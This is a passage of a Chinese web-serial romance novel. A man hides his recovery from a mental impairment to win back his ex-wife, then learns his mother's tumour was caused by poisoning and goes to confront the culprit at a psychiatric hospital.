“不好。”他嘟起嘴,生气了的样子,“我就要跟着你,你要不带我,我会不开心的。”
宋南伊笑了。
虽然人很傻。
但他这副皮囊,依然是前所未有的好看。
尤其是撒娇生气的样子,总是令人忍不住的逗弄。
她抬手捏了捏他的鼻子,“听话才是好宝宝。”
“我才不要当好宝宝,我要当你的好老公。”
这话说出来,路姐都笑了,“太太,先生好像童养媳里的那个小丈夫哟,自己都不知道什么是老公,还要当别人的老公。”
宋南伊觉得也挺像的,没当回事。
“他现在就是一个孩子。”
霍时序:……
吃过饭后。
宋南伊盯着霍时序复健运动。
看着他一天天的好起来,她觉得自己挺厉害的,竟然挨过了这么多。
一天下来。
她累得腰酸背痛。
趴在床上,一动也不想动。
一双大手抚上她的后背,她知道是霍时序。
“是想帮我揉腰吗?真乖,那辛苦你了,一会儿给你奖励。”宋南伊缓缓地闭上了眼睛。
以前小核桃给她揉过腰。
霍时序学会了,也帮她揉了几回。
就是笨笨的,手劲还大。
“你要轻一点哦。”宋南伊提醒他。
霍时序眸色微微黯下,大手在她的肌肤上,轻轻的揉捏着,喉头滚动了两下。
今天,他揉的很舒服。
宋南伊很快就睡着了。
霍时序看着她的侧脸,指尖小心地触碰了她的鼻尖,嘴唇。
她真的是辛苦了。
睡着了,眉心还有倦意。
夜深了。
他就这样看着她,很久,很久……
……
早上,宋南伊收拾了东西,将小核桃送去幼儿园后,就动身去出差。
她早已经忘了,霍时序要跟她出差这事。
直到上了飞机,看到了身旁坐着的人。
她大惊失色,“霍时序,你怎么上飞机了?你怎么来的?江淮?他给你买的机票?还是别人?”
江淮根本不知道她要出差。
只有路姐和邓雪知道。
她们根本就不可能给霍时序买机票。
“是,小核桃帮我买的,他有压岁钱。”他傻呵呵地说。
宋南伊:……????
一个四岁的孩子?
帮他买了机票?
她怎么这么不信呢?
“你别闹了,我现在给江淮打电话,让他带你回去,简直是胡闹。”
霍时序伸手从宋南伊手里抢走手机,紧紧的抱在怀里,嘟着嘴,“不要,不要,不要,我就要跟着你出差。”
“我是去工作,你照顾不了你的,你乖乖的听话好不好?”
“不好,一点都不好。”
无论宋南伊说什么,霍时序也肯把她的手机交出来。
机舱门关闭。
宋南伊只好接受这个现实,“那你非要跟我去出差,就要听话,知道吗?能不能听话?”
“听话,听伊伊的话。”霍时序靠在宋南伊的肩头上,心满意足,“序序最爱伊伊了。”
第172章 别跟我抢,我干不动你了
飞机起飞。
宋南伊无奈。
路上,她给裴啸发了个信息,“裴啸哥,这次可能有点麻烦,霍时序他跟着我来了,我得先安顿好他,才能跟你会面。”
“时序他也跟着来了?没关系,你先把他安顿好,我们晚一点见面。”
“好的,裴啸哥。”
发完信息。
她长长地吁了口气。
霍时序很安静。
一直紧紧的抱着宋南伊的胳膊,靠的她很近。
这次去花城。
是裴啸看好了一个宝石供应商,邀请她一起过去,谈一个合作。
因为要进矿厂什么的。
她一个人还方便一些,现在霍时序跟着她来,会分她的心。
在路上的时候,宋南伊给江淮发了个信息。
让他务必要来一趟花城,将霍时序接回去。
她这次出差安排的时间很是紧张,实在是无瑕分身,也不可能会照顾好一个病人。
那头应允。
“伊伊是不是不喜欢序序?”霍时序可怜巴巴的问。
宋南伊微愣,“怎么这么问呢?”
“飞机还没有落地,你就想把我送回江城,序序伤心了,序序不想理伊伊了。”
霍时序哼唧着,扭过脸,生气了。
宋南伊赶紧哄,“我没有不喜欢你,但我要工作啊,工作时,我没法照顾你,把你一个人扔在酒店里,我还不放心,可不得让江特助把你带回去吗?乖乖,听话行吗?”
“哼!”
他生气了。
宋南伊:……
飞机落地花城。
宋南伊先带霍时序去了酒店。
“你一个人在这儿可以吗?我要去见个客商,我会马上回来的,你可以吗?”
总归来说,宋南伊是不放心的。
霍时序乖巧点头,“我可以的,序序最棒的。”
“真乖。”她揉了揉他的头顶,“房间里的插头,电线,还有水龙头都不要动哦,我把电视打开,你乖乖看动画片,我先去工作,工作完,我会马上回来陪你的。”
“伊伊再见。”他挥手,懂事极了。
听到关门的声音。
男人神色一瞬间趋于正常,迅速的卸下伪装。
他拿起手机,给江淮打去了电话,“是我。”
“霍……霍总?”那头惊掉了下巴,许久才结结巴巴的再次确认,“您是霍总吗?您醒了?您恢复正常了?”
“是啊,活过来了。”
“太好了,刚刚太太给我打电话,让我去花城接您呢。”江淮激动的要哭。
霍时序要说的也是这事,“你不必过来了,要是宋南伊再给你打电话,你就关机。”
“听您的。”
霍时序醒了。
什么时候清醒的,他记不清了,好像是一瞬间的事情。
那感觉就像眼前的迷雾突然就散了。
他没有失忆。
他记得宋南伊,记得小核桃,记得昏迷后所有人,所有事,包括那天,把他当狗踹的小子。
霍时序抽了根烟,递到唇上点燃。
漆黑的眸子,从二十层的窗户向外望去。
冬天了。
万物凋敝。
对他来说,却是一个崭新的开始……
……
宋南伊忙完工作后。
坐在椅子上,累的一动也不想动。
裴啸递了杯水给她,“没想到这个碰头会,开了三个小时,累坏了吧,喝点水。”
“是啊,有点累了。”宋南伊接过水杯,轻轻的啜了一口,“不过,受益匪浅,值得。”
裴啸笑笑,“那就好。”
宋南伊抬腕看了眼时间,“呀,我得赶紧回去了,霍时序还在酒店里呢,我是真的不放心他。”
“走吧,我送你回去,正好我也有日子没见他了,他最近恢复的怎么样?”
裴啸拿了车钥匙,一边走,一边自然的跟宋南伊说话。
宋南伊觉得没什么进展,“还是那样,傻傻的,不过挺乖的,不给我惹事。”
“那你就带他过来了?”
“我没想带他过来,毕竟我要工作,是小核桃给他买了机票,你也知道,他们两个在一起,就像两个顽皮的孩子,总是有看不到的地方,我也不去追究了,我给江淮打了电话,让他接霍时序回江城。”
裴啸点头,“走吧。”
酒店里。
霍时序洗了澡,人很清爽,白色的浴袍松松垮垮地吊在身上,透出一丝慵懒的感觉。
听到门被打开。
他安静又乖巧地望了过去。
抬眸。
四目相对。
霍时序和裴啸的眼神先撞到了一起。
“哟,这么乖呢,澡都洗了?”裴啸笑着走进来,把半路给他打包的食物,放到他面前,“饿坏了吧,伊伊给你打包了晚饭,赶紧趁热吃。”
霍时序盯着他。
也不说话。
宋南伊以为他生气了,抱歉道,“对不起啊,回来的有点晚了,你赶紧吃,吃饱了就去睡觉。”
“要喂。”霍时序抿着唇说。
宋南伊习惯了他这样的要求,“好,我洗把手就喂你吃。”
宋南伊进了洗手间。
裴啸坐到了霍时序的身旁。
刚刚对视的眼神,他察觉出了一丝异样。
他可是医生,对于病情在什么时候,可能发生什么样的变化。
他比宋南伊懂得多。
“霍时序,你不会是在装吧?你是不是清醒了?你刚刚看我的眼神,可不像个傻子。”
“你不会是怕伊伊知道你病好了,就会离开你,所以才……”
“这不是你的作风啊,以前你那么不要脸不要皮的,拿出你原来的那个劲头来啊。”
“你别怕,我不跟你抢,我当伊伊是妹妹,如果你硬要跟我吃醋,我也不是不可能,再跟你争一把的。”
“赶紧的,别在这儿装了。”
裴啸火眼金睛。
霍时序骗不过他,索性在他面前也不装了,“你是狗眼吧。”
“你看,让我猜对了吧。”裴啸就知道,他看的准没错。
“我只是没想好,怎么跟南伊说我好了的这事,你别给我瞎掺和啊,我要自己告诉她。”
霍时序警告裴啸。
裴啸也没想掺和他们的事情。
感情这事,当事人处理起来都是麻烦,更不用提外人。
他需要提醒霍时序,要选择合适的是时机,“那你最好快点想,伊伊的性子,等她自己发现了你已经清醒了,在骗她,那你就死定了。”
霍时序能不知道这事。
他再次警告裴啸,“看在咱们都三十岁的份上,你千万别再跟我抢媳妇了,我可干不动你了。”
“屁话可真多。”裴啸起身,指了指桌上的食物,“这可是伊伊专门给你买的,赶紧吃吧,别凉了。”
宋南伊出来的时候。
裴啸走了。
霍时序在认真的吃东西。
女人的面上是淡淡愉悦的光泽。
傻归傻,但一直很省心,也算是老天爷对她的怜悯。
“好吃吗?”她倒了杯水给他,“要不要喂啊,慢点吃,不要吃太多,晚上容易不消化。”
宋南伊是当儿子来养霍时序的。
对他极其的有耐心。
她托着腮,看他认真吃饭的样子,跟小核桃一模一样。
“饱了。”他说。
“好啊,那你早点睡,我去洗个澡,今天好累的。”她抻了个腰,往洗手间里走。
霍时序起身跟了上去。
她一回头,吓了一跳,“怎么了?要上厕所啊?”
“不是,要刮……”他指着自己冒着青茬的下巴,傻巴巴的,“……伊伊,我不会,你帮帮我,好不好?”
第173章 加深,纠缠
“好啊,那你乖乖站好。”
酒店里有一次性的用具。
她往他嘴周喷了胡须泡沫,然后拿起一次性的刮胡刀,轻轻的为他处理脸上的胡茬。
他半蹲着身子,仰着脸,感受着她仔细又温柔的指尖。
他傻着的时候,她会教他用电动剃须刀。
她是第一次这样的帮他。
他的大手不自觉的缠上了她的腰。
“别闹,乖乖的。”她当他喜欢玩,根本没往别处想。
他很话。
果然没再碰她。
帮霍时序处理完胡须后,她还贴心的在他的脸上,擦了护肤霜。
“真乖,赶紧去睡觉。”她像照顾小核桃一般的。
“哦。”
霍时序被关在了洗手间的外面。
浴室的水声淅沥。
半透明的磨砂玻璃上氤氲着水气,随着温度的升高,滑落留下道蜿蜒的痕迹。
湿透的长发,肩颈的弧度,以及随时变化的角度,女性的曲线,若隐若现。
霍时序的喉结剧烈地滚动了一下。
燥热从胸腔一路烧到小腹。
握在门把上的指节,因为用力渐渐发白,拧开这扇门就能……
突然里面发出声音。
“时序?你在外面吗?”
他的心跳漏拍,像是做坏事的少年,猛地收回了握着门把手的指尖。
“伊伊,我,我有点怕,你能不能快点洗。”
“你要怕的话,就在门口等着我,我马上就好。”
宋南伊的声音温柔。
磨砂玻璃后的身影更清晰了。
沐浴露的香气,透过门缝,不停的扑进他的鼻腔。
一股温热的液体,猝不及防的流了出来。
他抬手捂住。
抓起纸巾,将血擦掉。
真没出息。
他需要去冲个澡,才能压灭蓬勃的欲望。
宋南伊洗完澡出来时。
房间里静悄悄的。
霍时序像是睡了。
她蹑着脚上床,无意中碰到他的肌肤……好烫啊。
抬手,她摸向他的额头。
真的好烫。
“霍时序,你是不是发烧了?”
他大手伸过来,抱住了宋南伊的腰,将脸贴在她的胸口上,“伊伊,冷,要抱抱。”
宋南伊扯过被子,将二人盖紧。
紧紧的抱住了他。
“霍时序,你有没有不舒服啊?要是不舒服跟我讲,我陪你去医院,看医生,好不好?”
他仰着脸,往她的颈子里蹭过去。
好香。
冲了半天的冷水澡,在此时宣布无效。
他想吻她。
狠狠的重重的。
“南伊……”他气息有些粗。
她以为他烧傻了,一时紧张,“霍时序,你别吓我,是不是很难受?我现在就带你去医院。”
“我是很难受,我想……”
他的大手握住她的后颈,黑暗中,四目相对。
强烈的占有欲,似乎要将他碾碎。
还没等宋南伊反应过来,他的吻重重地落下。
霸道,专注,克制,又渴望。
舌尖温柔的撬开她的唇瓣,与之纠缠。
宋南伊脑子一片空白。
她刚要问他,这到底是怎么回事。
他滚烫的气息,如数的喂进了她的嘴里。
掺杂的是含糊不清的情话,“南伊,你知道我有多想你吗?我真的好爱你……”
他抓着她的小手。
让她抱紧了自己的脖子。
“你说过,只要我好了,你就跟我试试,你说过的,你不能说话不算数,南伊,我真的好爱好爱你……”
“我不要霍云礼为我披麻戴孝,他永远可以是宋云礼,南伊,爱我,求你爱我,好不好……”
霍时序哭了。
声音破碎。
这事发生的太突然。
宋南伊不知道该给出怎样的答案。
“霍时序,你……”
他是清醒了?
不傻了?
什么时候的事情?
是发烧烧的,还是……
她有一万个问号。
霍时序没有回答她的问题,而是将脸埋进她的心口。
大手紧紧的摁着她纤薄的背,“求你南伊……余生,让我在你身边赎罪吧,我愿意,我真的愿意……”
她确定了,霍时序确实已经恢复了正常。
也并没有失忆。
宋南伊沉默了。
他真的愿意,为了前世所犯下的错误,赎一辈子的罪吗?
这个时候的话,有几分真,几分假呢。
他的呼吸灼着她嫩白的颈子。
她怎么也推不开。
他缓缓慢慢的将唇贴上她的唇瓣,加深,纠缠,不让她有半点退缩的余地。
气息越发的滚烫。
这晚的情事,谈不上多两情相悦,但她也没有拒绝他强烈的攻势。
由着他要了一次又一次。
直到最后一次,她抓着他浓密的头发问他,“霍时序,你的腰……”
“遇到你,我腰都好了。”
他浅浅的啄着她的唇。
一下又一下。
最后精疲力竭的相拥睡去。
……
清早。
霍时序醒来时,宋南伊早已经离开。
他避免不了一阵心慌。
给裴啸发了条信息。
“我老婆,跟你在一起吗?”
手机在桌上震动。
裴啸拿起来看了一眼,旋即将视线落到正在跟客商说话的女人身上。
她的耳旁颈间,有刻意掩盖也无法遮掉的吻痕。
霍时序这小子,猴急的毛病,还是一如既往。
裴啸慢吞吞地拿起手机来回。
“在。”
“在哪儿?”霍时序又问。
裴啸又慢吞吞地回,“在工作。”
“我问你们在哪儿?”霍时序有点急了。
裴啸将手机扣在桌面上。
索性不回了。
等宋南伊跟客商谈完合同,裴啸才将一杯咖啡递了过去,“看来,你们的合作意向挺高的。”
“确实,他们的宝石我看过了,净度特别高,我们工作室一直以来打造的是高端订制,需要的也是高质量的宝石,合作既共赢。”
这次,还是要特别感谢裴啸。
但他与宝石客商的合作没有达成,她觉得挺遗憾的。
“要是你们也能合作,就更好了。”
“合作需你情我愿才行,你能达成意向,我为你高兴。”
以前眼中有才华的小姑娘。
也在慢慢的蜕变成了一个女强人。
她在成长。
这是值得欣慰的地方。
女人就该如此。
有赚钱的能力,有喜欢的事业,更有面对生活的勇气。
小姑娘,小长大了。
“我还要去跟别的客商见个面。”裴啸看了眼手腕上的时间,“你是跟我一起,还是回去陪时序?”
“我……”
要是霍时序还傻着。
她会毫不犹豫的,回去照顾他。
喂他吃药,陪他看幼稚的动画片,耐心听他讲那些只有小核桃才感兴趣的事情。
可现如今……
她几乎在心里叹了口气。
她不否认,她有点怕见他。
回想起昨天晚上……
灼热的呼吸。
恢复清明后深邃又欲望的双眼。
不容抗拒的拥抱,以前那宽厚的胸膛传来的温暖。
第174章 选女人的眼光一样
宋南伊的脸,越发的发烫。
她下意识抬手捂自己的耳垂。
更显欲盖弥彰。
裴啸身体悠闲地向后靠在椅背上,一副了然于心的样子。
只是笑笑,没再多问。
宋南伊觉得霍时序醒过来这事,有必要跟裴啸说一声:“霍时序他……清醒了,不傻了。”
“这是好事啊。”裴啸挑眉,语气肯定。
“我知道是好事……”宋南伊的声音低了下去,“可是……”
她茫然又忐忑。
内心是混乱的。
裴啸看着她几乎要缩起来的样子,觉得又好笑又无奈。
他放缓了声音,温和的跟她讲话:“怕他吃了你?他不敢的。回去吧,你们之间总需要好好聊聊的
,躲着解决不了问题。”
宋南伊沉默着,最终闷闷地应了一声:“嗯。”
宋南伊回到酒店。
站在客房的门口。
她做了几次深呼吸,才推开门,若无其事地走了进去。
没人。
霍时序并没有在。
她松了口气,猜想着,可能是江淮来,把他带回江城了。
身子一松,她倒靠在沙发上,慢慢的,倦意上头。
不知道睡了多久。
睁眼时,眼前是一张放大的俊脸。
他傻呵呵的对着自己在笑,差点把宋南伊吓掉魂。
“你干嘛?”
“你睡着的样子,真美。”
宋南伊大无语,推开他,走进洗手间,洗了把脸。
清醒了不少。
“既然你已经不傻了,就回江城吧。”她说。
霍时序暂时没有回去的打算,他要在留在这儿,陪着她,“陪你工作完,咱们一起回。”
“你不惦记你的霍氏吗?我听说,马上要易主了。”宋南伊不得不给他刚醒来的人生,泼盆凉水,“霍家现在基本上已经放弃你了,你最爱的爷爷,也已经在培养顾南风了。”
霍时序表示无所谓。
以前把自己困在霍氏,是为了家族的荣耀。
是为了不给列祖列宗们丢脸。
并不是,他离开了霍氏,就一无是处。
他有他的计划。
不急在这一时。
目前,最着急的,就是把宋南伊追回来,这样,他才能安下心来,做别的事情。
“霍氏不重要,老婆最重要。”他大手勾住她的腰,从身后紧紧的抱住她,“南伊,你说过要给我机会了,那我们现在就是男女朋友了,对不对?”
“我只是说要给你机会,与你相处看看。”她垂眸,未从镜子里看他,淡淡的,“至于你能不能达到男朋友的标准,看你表现。”
他蓦地笑了,“我还以为,我拿到男朋友的资格了呢。”
“我这么好追吗?”她诮问。
霍时序连忙否认,“不好追,要是好追,我能追你七年吗?只要你肯留在我身边,我愿意再追你七年,两个七年都行。”
“想要追求别人,就把自己的身体搞好。”她的视线透着镜子,望向了他走的还不利索的长腿,“起码,别一瘸一拐的。”
“我会的。”
他的唇贴着她的颈子游弋。
她怕痒,转身推开他,“正经点,天还没黑呢。”
他握着她的腰,与她鼻尖相抵,“南伊,谢谢你没有放弃我,照顾了一个傻子那么久,不,是一个瘸腿的傻子,那么久,那么有耐心,你让我如何谢你。”
“只是还你救命的恩情罢了。”她声音浅浅柔柔的。
霍时序会认为,她对他旧情难忘。
她不否认,里面是有一些感情在的。
但确实不多。
更多的是,对父母有交代,让小核桃有父亲。
仅此而已。
他也不强求,她现在要多么爱他,只是提了一个要求,“既然你答应我可以跟我试试,那我们就不要分开了,好吗?这样对小核桃也好,他跟我说过,不希望爸爸妈妈分开。”
这话是不是小核桃说的,她不知道。
小核桃确实对霍时序,很依赖。
这是事实。
也不是不能接受,生活在一起这件事情。
“分床睡。”她说。
霍时序摇头,“不分床睡,分床我睡着不。”
“你别得寸进尺。”她瞪他。
他抱起她,将她放到洗手台上,“我就得寸进尺,我就要抱着香香软软的小伊伊睡,我保证每天洗香香,好不好?”
“霍时序,我发现你就是个无……唔……”
他不容她拒绝。
吻似暴风雨一般。
他握着她的小手,一点点地扣进去,直至十指相扣,才将这个吻推至了强烈的侵略性。
她渐渐在吻中沉沦。
一场渴求与释放的情事,在这狭小的空间上演……
……
宋南伊一直很忙。
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相对,裴啸这次合作没谈成,有一些清闲在。
他约霍时序见了个面。
沉静的咖啡厅里,两个大男人,都是西装革履,身材颀长。
比起年轻时张扬清隽,多了几分沉稳和锐气。
“约**什么?搞的,好像我挺想见你似的。”
霍时序对裴啸的感情是打出来的。
谈不上多好。
也谈不上多不好。
两家也有些交情在,要不是他在国外呆了那么多年,这些年,见面的机会应该不会少。
裴啸笑笑,摇头,“我也没多想见你,实在是无聊,就约你出来,喝杯咖啡,不过AA,别想让我请客。”
“裴啸,你这小气劲,可一点都没改,要是当初你能大方一点,说不定,南伊现在就是你老婆了。”
霍时序洋洋得意。
他可比裴啸大方多了。
追求宋南伊时,都是几百万的往里砸,眼睛都没有眨一下。
不像裴啸。
连束花都吝啬不给。
裴啸对宋南伊是有遗憾的。
但那是从前,现在,他对宋南伊只有关怀爱护的情意在,男女之情早就没了。
“我没你那么专情,就逮着一个女人,祸害,天下的女人多的是。”
“呵,还吹上牛了,那你保证,对后对我们家南伊,不要动歪心思。”
裴啸笑他幼稚,“我不保证。”
“真奸。”霍时序骂他。
裴啸哈哈大笑。
他就喜欢霍时序这种,看不惯他,又干不掉他的样子。
“跟你聊点正经的吧。”裴啸端起咖啡来,轻啜了一口,“我回江城后,发现裴氏内部一塌糊涂,几年了业务一直没有拓展,我想跟你谈个合作。”
提及生意。
霍时序恢复正经的模样。
霍氏树大好乘荫。
不管是裴氏也好,陆氏也罢,都希望跟霍氏合作。
他懂裴啸。
但他现在说了不算。
“现在霍氏已经将我踢出局,如果你想跟霍氏合作,你可以去找我爸,现在他把控着霍氏,下一步很有可能把他那个私生子搞上台,我已经不是霍氏的总裁了。”
裴啸却并非此意,“我不是要跟霍氏合作,我是要跟你合作,我们兄弟两个,在选女人方面很有默契,我想在生意场上,我们应该也可以踏出一条,属于我们的路来,你觉得呢?”
第175章 还的是人情,不是感情
霍时序笑了。
裴啸的能力,毋庸置疑。
要不是当年,心高气傲的非要做什么医生,以他经商的能力,在江城,裴氏也不至于到今天这个地步。
霍时序从内心,很看好这个男人。
“难为你了,还看上我了。”他觉得可行,“等回了江城,你来找我,我们可以研究一下。”
“那就这么说定了。”
裴啸举起咖啡杯,很有仪式感的,跟霍时序碰了一下。
他迫切地为裴氏做一些事情。
来改变如今的现状。
霍时序别的不行,但做生意是把好手,不久的将来,裴氏定会有天翻地覆的改变。
离开时。
还是裴啸买了单。
“我今天就回去了,伊伊她跟宝石商那边,还有待商榷的事宜,估计还得呆几天,有你陪着,我也不担心她了。”
霍时序点头,“好。”
……
裴啸离开后。
霍时序会陪着宋南伊,去见客商。
客商眼瞅着换了男人,免不了小嘀咕。
“宋总,这位是……?”
“是我新招的秘书,他过来的比较晚,所以你瞅着眼生。”宋南伊一本正经的胡说八道着。
客商也没深究。
就是觉得,这个人不但不眼生,还有些眼熟,至于在哪儿见过,他一时想不起来。
业务谈的比较顺利。
宋南伊拿到了一些宝石的样品和尖货。
也要准备回江城了。
这次能这么顺利,多亏了裴啸从中牵线搭桥。
离开前。
她去了花城的百货公司,准备给裴啸挑个礼物。
霍时序非要跟着。
以为宋南伊要给他什么惊喜,脸笑着跟开了花似的。
宋南伊看好了一枚男士胸针。
珍珠宝石的组合。
优雅,又极具松弛感,不夸张又恰到好处的吸睛。
她觉得特别适合裴啸。
手指捻起,她在霍时序的胸口上比照了一下。
不大不小的,很合适。
“你好,请把这个帮我包起来吧。”宋南伊拿卡,交给了柜台小姐。
“好的。”
霍时序开心的翘起小辫子,“其实,也不用给我买胸针,你这样我会受宠若惊的。”
宋南伊淡淡的扫了他一眼。
“你想多了,是给裴啸哥买的。”
霍时序笑脸立马收紧。
眉头皱得像座小山,“你给他买什么胸针啊?”
“这次的生意是他从中牵线,我才能找到这么好的宝石供应商,我不应该谢谢他吗?”
柜台小姐将包装好的礼物,和银行卡给宋南伊,“您拿好,欢迎您下次光临。”
“谢谢。”
宋南伊拎起礼物往外走。
霍时序气哼哼叉腰。
又实在找不出生气的理由。
宋南伊还的是人情。
又不是感情。
这点,他倒是挺欣慰的。
他很快说服了自己,追了上去,“没事,你送他东西是应该的。”
“你可以把东西交给我,我可以帮你代交给他。”
“真的,我是说真的,回江城后,我们有生意要谈,这样省得你再约他,你也知道,他现在在裴氏挺忙的。”
“我真的是好心帮你,我答应你一定送到他手里,到时拍照片给你看,行吗?”
“南伊,你别不理我,南伊,南伊……”
……
飞机落地江城。
霍时序得到了一个不好的消息。
母亲病了。
病的挺重的。
从机场坐上江淮来接他的车,直奔江城医院。
“夫人的病情,比较突然,医生说是在肝上发现了肿瘤。”江淮向霍时序汇报着蓝旗的病情,“恶性的可能性比较大,能不能手术,具体得看位置。”
“怎么突然就得癌了?”霍时序的脸色沉的要命。
江淮也猜不到具体的原因。
蓝旗一直在山上疗养。
蓝烟出事后,她没有下过山,再加上霍时序当时的病情,一直没有好转,可能是抑郁成疾吧。
“我也不太清楚。”
十万火急赶到医院。
霍时序并没有第一时间去看望母亲,而是让宋南伊先过去,“你去看看妈,我先去找医生聊一下妈的病情。”
他声音里有些沉痛。
从小没有跟母亲生活在一起,好不容易长大了,又发生了太多意外,始终没能跟母亲好好的呆过一天。
他心里有苦和痛。
宋南伊都能理解,“嗯。”
霍时序去见了医生。
医生一开口,就让霍时序感到了匪夷所思的熟悉。
“什么?慢性中毒引起的?什么毒?放射性的持续刺激?你说我妈,也受到了放射性的毒物的浸渍,才得到的肿瘤?”
他似乎在一瞬间明白了。
和小核桃的病如出一辙。
蓝烟。
是她。
她不仅对小核桃下了手,还对一个养大她的母亲下了手。
指尖蜷起,他紧紧的攥成拳头。
忍下滔天的愤怒,尽量用平静的语气问医生,“能治吗?”
“肿瘤长的位置上来看,应该是可以手术的,情况比较乐观。”
听到医生这么说。
霍时序皱眉的眉头,也缓慢的松开,“那就请尽快安排手术吧。”
……
病房里。
蓝旗看到宋南伊过来。
撑着身子,坐了起来,“南伊,你来了。”
宋南伊急忙走到病床前,轻轻的扶住了女人,“您别动,躺着就好。”
“我这昏睡了一天了,你来得刚刚好,陪我说说话。”蓝旗握着宋南伊的小手,像是要交代什么,“时序他一直傻着,有劳你照顾了,以后也少不了麻烦你,真的很对不起你啊。”
“您别这么说,霍时序已经好了,他现在跟正常人一样的,他去医生那儿了,马上就过来看您。”
宋南伊的眼中泛起了泪光。
蓝旗不太了解霍时序的病情发展。
不知道是真是假,“他真的好了?”
“嗯,几次手术后,他的病恢复的不错,您别担心他了。”宋南伊微笑着,喉间尽是哽咽,“您现在就是把自己的身体养好,等您病好了,您就搬到家里去住,我们也好照顾您。”
“你们……照顾……我?”蓝旗不敢相信这样的幸福,“……那你是不是,你和时序复婚了?”
宋南伊摇头。
她不想骗人。
“还没有,我答应跟他相处看看,也想让小核桃跟爸爸多多的相处,不影响照顾您。”
复婚始终是蓝旗的一块心病。
但宋南伊答应跟儿子住在一起,慢慢相处,她心底到底是宽慰的。
“好,只要你肯给他机会,就好。”蓝旗看着宋南伊的眉眼,想到自己的年轻的时候,“南伊,妈真的很高兴,但妈更希望,你别难为自己,如果到最后,你发现时序他,并不是你要托付终生的那个,要也勇敢的离开,自己的幸福最重要,知道吗?”
第176章 你是来送我上西天的吧
宋南伊很感动。
轻轻的拥抱了蓝旗,“谢谢您。”
蓝旗虚弱地抬起手,轻轻抚摸着宋南伊的头发。
嘴角欣慰。
“傻孩子,谢什么……”她的声音很轻,却清晰,“妈是过来人,知道感情的事强求不来。时序是我儿子,我比谁都希望他幸福,可你的幸福也一样重要。”
宋南伊伏在她消瘦的肩头,无声点头。
蓝旗望着窗外渐沉的夕阳,目光悠远,“人生很长,有时候绕点路,不是因为走错了,而是为了看清楚自己真正想要的是什么。”
“所以啊,我们南伊别怕,跟着心走,无论最后是什么结果,妈都理解,都支持。”
宋南伊抬起头,泪眼模糊。
蓝旗对她的爱,超越了婆婆对儿媳,更像是母亲对女儿。
她的心,暖的厉害。
霍时序一步迈进来。
看到二人抱头痛哭。
虽不知内情,但想到病情,内心也是翻涌万千。
“妈。”
宋南伊擦净脸上的泪,扭头看向霍时序,“医生怎么说?”
“医生说,妈的病情,挺乐观的,动个手术就好了,接下来是好好的休养,问题不大。”
宋南伊不知道霍时序,是不是当着母亲的面,故意这样说的。
却也表现出了极大的开心。
“妈,你的病可以治的,别怕,我会一直陪着你的。”
“谢谢你南伊。”
宋南伊一直陪着蓝旗聊天,她累了睡着后。
宋南伊才把霍时序悄悄的,叫出去问,“你刚刚说的妈的病情,是真的,还是你编来骗她的。”
“真的,医生是这样说的,但手术后,要看复不复发。”他将宋南伊抱进了怀里,感动地说,“你不叫阿姨了,我真的好开心。”
“我叫妈,是因为妈值得,不是因为你。”她推开霍时序,“霍时序,前世你为什么不让我见妈?妈这么好的人,我可以陪着你一起为她治病,为什么要落成那样的下场?妈也死了,我也死了……”
霍时序是懊恼和后悔的。
上天给了他重生的机会,他改变了决定。
这一世,他的决定是正确的。
“是啊,前世我就是脑子不清醒,不过还好,这世还来得及,南伊,真的谢谢你。”
他重新将她揽进怀里。
紧紧的,像要揉进骨血的那种。
……
夜深了。
宋南伊还守着蓝旗。
她昏睡的时间比较长,很令人担心。
负责做手术的人,是江城肝胆方面的专家。
今天一天,霍时序都在跟医生商量手术方案。
这个男人比她还要紧张。
隔天一大早。
蓝旗被推进了手术室。
宋南伊和霍时序站在手术室外。
有些后悔,没有让小核桃来看看奶奶,刚刚推婆婆进手术室时,她还问起了。
可能是怕自己下不了手术台。
霍明达不知道从哪里得到的消息。
急匆匆的赶到了医院。
他先是看向了霍时序,目露诧异,“你……病好了?”
霍时序淡扫了他一眼。
并未回答。
“病好了是好事啊,怎么不跟我们讲啊,我和你爷爷不知道有多担心你,这些日子以来,吃不好,也睡不好的,你这孩子,真是太不懂事了。”
霍明达面上指责。
心里却很慌。
怕霍时序的突然病愈,搅乱了他布的局,“既然病好了,就多休息一阵,你妈又病了,你更要尽孝才是,就不要惦记霍氏的事情了,安心先做好眼前这些吧。”
意思过于明显。
霍时序的脸色也跟着沉了下去。
他依然不动声色。
他接下来的计划,应该会让这个亲生父亲,措手不及。
不急,好戏才开始上演。
“你妈怎么突然就病了?还真是个病秧子,除了生病就是生病,她啊,这辈子都在拖累人,这次,到底是什么病啊?”
霍明达明显不耐。
话又很难听。
宋南伊不知道,他突然出现在这儿的意义是什么?
“我妈是病秧子,拖累你?”霍时序听不得这些,手指攥成拳头,“拖累你什么了?结婚不过几年,你便逼的她离婚,远走异国他乡,你还好意思在这儿说这些?”
“你发什么火?”
霍明达不愿意跟儿子起冲突。
话锋一转,“我就是担心她,过来看看,你倒是跟我说说,你妈她得了什么病啊?”
霍时序不回答。
霍明达便问向宋南伊。
“你说。”
宋南伊抬眸看了一眼霍时序,便说了,“肝上长了肿瘤。”
霍明达瞳仁一紧。
唉叹了一口。
宋南伊不知道是不是看错了。
竟然在霍明达的眼角,看到了一抹晶莹。
她想,或许霍明达对蓝旗是有愧歉的吧。
只是,晚了。
手术的时间不算很长。
蓝旗推出来的时候,人还是昏迷的。
霍明达想近前望一眼。
被霍时序拒绝了。
“我妈需要休息,你回去吧。”
“你妈她……”霍明达欲言又止,“……既然没事了,我就先回去了,有事你再给我打电话。”
蓝旗的手术很成功。
医生说,只要五年不复发,人就问题不大。
霍时序除了块心病。
接下来,他得去‘看望’一下,那个害他儿子,又害他母亲的凶手了。
……
去安宁精神病院的路上。
江淮跟霍时序讲了许多,他生病时发生的事情。
“蓝烟害的小少爷生病,还趁您病重,想要取精生子,简直就是丧心病狂,太太也是忍无可忍,才将她送到安宁,听说她马上就要生了,人也疯得更厉害了。”
男人面色并没有因为听到这些,而有所动容。
冷洌的唇角越发的狠戾,“这就够了?”
“她做的事情,确实是罄竹难书,但我怕会脏了您的手,不如让我……”
江淮想替霍时序完成最后的处理工作。
霍时序轻抬手指拒绝了,“我要亲自处理。”
“是。”
墨色的豪车开进安宁精神病院。
院子里随处可见,精神失常的男女老少。
院长早已经咧着嘴,站在门口迎接。
车子一停下,他便谄媚的跑了过来,“霍总,您来了,里面请吧。”
“直接去二楼。”霍时序面无表情的说。
院长立马掉转方向,在前面带路,“您这边请。”
同样的房间。
同样的奶黄色的木门。
同样难闻的味道。
同样的疯癫的女人。
一切都没有变。
变的只是蓝烟的肚子大如箩筐。
